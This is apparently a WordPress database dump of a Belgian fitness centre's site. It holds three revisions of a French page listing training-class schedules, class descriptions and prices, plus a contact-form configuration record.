(208, 1, '2013-07-03 18:04:14', '2013-07-03 18:04:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n&lt;br&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:04:14', '2013-07-03 18:04:14', '', 11, 'http://www.crosstrainingcenter.be/?p=208', 0, 'revision', '', 0),
(209, 1, '2013-07-03 18:12:19', '2013-07-03 18:12:19', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:12:19', '2013-07-03 18:12:19', '', 11, 'http://www.crosstrainingcenter.be/?p=209', 0, 'revision', '', 0),
(210, 1, '2013-07-03 18:13:02', '2013-07-03 18:13:02', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:13:02', '2013-07-03 18:13:02', '', 11, 'http://www.crosstrainingcenter.be/?p=210', 0, 'revision', '', 0),
(257, 1, '2013-07-03 20:20:19', '2013-07-03 20:20:19', '&lt;p&gt;Votre nom (obligatoire)&lt;br /&gt;\r\n    [text* your-name] &lt;/p&gt;\r\n\r\n&lt;p&gt;Votre email (obligatoire)&lt;br /&gt;\r\n    [email* your-email] &lt;/p&gt;\r\n\r\n&lt;p&gt;Sujet&lt;br /&gt;\r\n    [text your-subject] &lt;/p&gt;\r\n\r\n&lt;p&gt;Votre message&lt;br /&gt;\r\n    [textarea your-message] &lt;/p&gt;\r\n\r\n[captchac captcha-712]\r\n&lt;p&gt;Veuillez recopier les caractères ci-dessus&lt;br /&gt;\r\n[captchar captcha-712]&lt;/p&gt;\r\n\r\n&lt;p&gt;[submit \&quot;Send\&quot;]&lt;/p&gt;\n[your-subject]\n[your-name] &lt;[your-email]&gt;\nFrom: [your-name] &lt;[your-email]&gt;\r\nSubject: [your-subject]\r\n\r\nMessage Body:\r\n[your-message]\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\njuliepierrard@hotmail.com\n\n\n\n\n[your-subject]\n[your-name] &lt;[your-email]&gt;\nFrom: [your-name] &lt;[your-email]&gt;\r\nSubject: [your-subject]\r\n\r\nMessage Body:\r\n[your-message]\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\nstv@otvr.net\n\n\n\nYour message was sent successfully. Thanks.\nFailed to send your message. Please try later or contact the administrator by another method.\nValidation errors occurred. Please confirm the fields and submit it again.\nFailed to send your message. Please try later or contact the administrator by another method.\nPlease accept the terms to proceed.\nPlease fill the required field.\nYour entered code is incorrect.\nNumber format seems invalid.\nThis number is too small.\nThis number is too large.\nEmail address seems invalid.\nURL seems invalid.\nTelephone number seems invalid.\nFailed to upload file.\nThis file type is not allowed.\nThis file is too large.\nFailed to upload file. Error occurred.\nYour answer is not correct.\nDate format seems invalid.\nThis date is too early.\nThis date is too late.', 'Contact form 1', '', 'publish', 'open', 'open', '', 'contact-form-1', '', '', '2014-07-02 14:30:52', '2014-07-02 14:30:52', '', 0, 'http://www.crosstrainingcenter.be/?post_type=wpcf7_contact_form&amp;#038;p=257', 0, 'wpcf7_contact_form', '', 0),
